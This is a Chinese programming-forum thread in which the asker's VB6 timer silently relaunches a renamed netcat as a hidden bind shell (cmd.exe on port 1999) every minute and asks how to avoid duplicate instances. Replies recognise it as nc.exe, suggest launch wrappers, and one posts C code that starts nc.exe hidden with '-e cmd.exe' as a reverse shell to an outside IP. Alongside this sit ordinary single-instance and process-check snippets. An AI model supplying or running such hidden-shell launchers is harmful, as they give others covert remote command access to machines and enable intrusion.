我写了这段代码
Private Sub Timer3_Timer()
Shell "dllexe.exe -l -p 1999 -e c:\winnt\system32\cmd.exe", vbHide
End Sub该timer时间1分钟执行一次
请问如何防止dllexe.exe的2次执行
不能使用timer3.Enabled=False 结束该事件哦
也就是当第2个dllexe.exe运行的时候自动关闭前一个dllexe.exe 
或在已经有个dllexe.exe运行的时候不在运行第2个
注:我的系统是windos2000

解决方案 »

  1.   

    如何在 Windows95/98 中如何自动结束由 Shell 启动之 DOS 视窗?以前,在 Windows 3.1、Windows for Workgroups 3.11 及 Windows NT 3.51 中,当您从 VB 程序中使用 Shell 去启动一个 Batch 文件或 MS-DOS 程序,当 Batch 文件或 MS-DOS 程序结束后,会自动关闭 DOS 视窗。但是,到了 Windows 95/98 之后,自动关闭的功能不见了,所以当您使用 Shell 去启动一个 Batch 文件或 MS-DOS 程序之后,总是会留下一个 DOS 视窗在工作列中,还要使用者自己去将这个 DOS 视窗关闭。要避免这种情形发生,其实很简单,只要在您原来执行的 Shell 指令中加上 "/C" 就可以了!语法如下:h = Shell("COMMAND.COM /C <pathname>") 加上 "/C" 之后,在 Windows 95/98 中 DOS 视窗便会自动关闭,而在 在 Windows 3.1、Windows for Workgroups 3.11 及 Windows NT 3.51 中也不会有问题产生!看个实例吧:Private Sub Command1_Click()
    h = Shell("COMMAND.COM /C c:\windows\command\edit.com")
    End Sub
      

  2.   

    我想那个dllexe.exe就是nc.exe 吧.
    我是菜鸟,我以前好像也想过这个问题,
    如果给我用一个"类似脚本"的来解决的话,
    我会用pv.exe>pro.txt(或其它列出当前进程的工具),再从文本中检测有没有nc.exe的进程.
    当然也可用认真点的做法,编程实现列出当前的进程有没有nc.exe的进程的.菜鸟一个,兄弟莫笑.还有我想shell的时候最好这样"cmd.exe /c dllexe.exe -l -p 1999 -e c:\winnt\system32\cmd.exe"写
      

  3.   

    不知这个有没有用:
    Private Sub Form_Load()
    If App.PrevInstance Then
    MsgBox "程序正在运行,请检查窗口是否被最小化。"
    End
    End If
    End Sub我以前用ShellExecuteEx好像可以做到nc.exe在系统中不存在两个实例.可我找不回了.sorry.
      

  4.   

    找到了.用vc来做的,好像可以.
    char ncchar[100]="-e cmd.exe ",ip[100]="2.2.2.2"
              strcat(ncchar,ip);
    strcat(ncchar," 8001");
             SHELLEXECUTEINFO ShExecInfo = {0};
    ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
    ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
    ShExecInfo.hwnd = NULL;
    ShExecInfo.lpVerb = "open";
    ShExecInfo.lpFile = "nc.exe";
    ShExecInfo.lpParameters = ncchar;
    ShExecInfo.lpDirectory = NULL;
    ShExecInfo.nShow = SW_HIDE;
    ShExecInfo.hInstApp = NULL;
    ShellExecuteEx(&ShExecInfo);
    WaitForSingleObject(ShExecInfo.hProcess,INFINITE);
             strcpy(ncchar,"-e cmd.exe ");
    另网上找了些资料,未实验过.应该比这好的.
    二、以同步方式来执行其他程序
    有时候,我们需要让VB在执行完外部程序后再执行下一语句,这就需要使用API函数。
    我们可通过OpenProcess和CloseHandle函数来检测调用软件的运行情况。这两个函数的声明如下:Declare Function OpenProcess Lib ″kernel32″ Alias ″OpenProcess″ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Declare Function CloseHandle Lib ″kernel32″ Alias ″CloseHandle″ (ByVal hObject As Long) As Long建立下面函数,用以判断程序是否在运行,如果是,则在运行时返回True。
    Function IsRunning(ByVal ProgramID) As Boolean '传入进程标识ID
    Dim hProgram As Long '被检测的程序进程句柄
    hProgram=OpenProcess(0,False,ProgramID)
    If Not hProgram=0 Then
    IsRunning=True
    Else
    IsRunning=False
    End If
    CloseHandle hProgram
    End Function例如要调用计算器(CALC.EXE)并等到它运行完成后再执行下一语句,可以使用以下代码:
    Dim RetVal
    MsgBox "开始运行"
    RetVal = Shell("C:\WINDOWS\CALC.EXE", 1)
    While IsRunning(RetVal)
    DoEvents
    Wend
    MsgBox "结束运行"
      

  5.   

    如果dllexe.exe 是你自己写的程序,那就
    在dllexe 工程中的启动模块中加入If App.PrevInstance Then
    MsgBox "程序正在运行,请检查窗口是否被最小化。"
    End
    End If
    如果是外部的进程,那就要在windows进程中找了,具体代码有差别,但思路同scar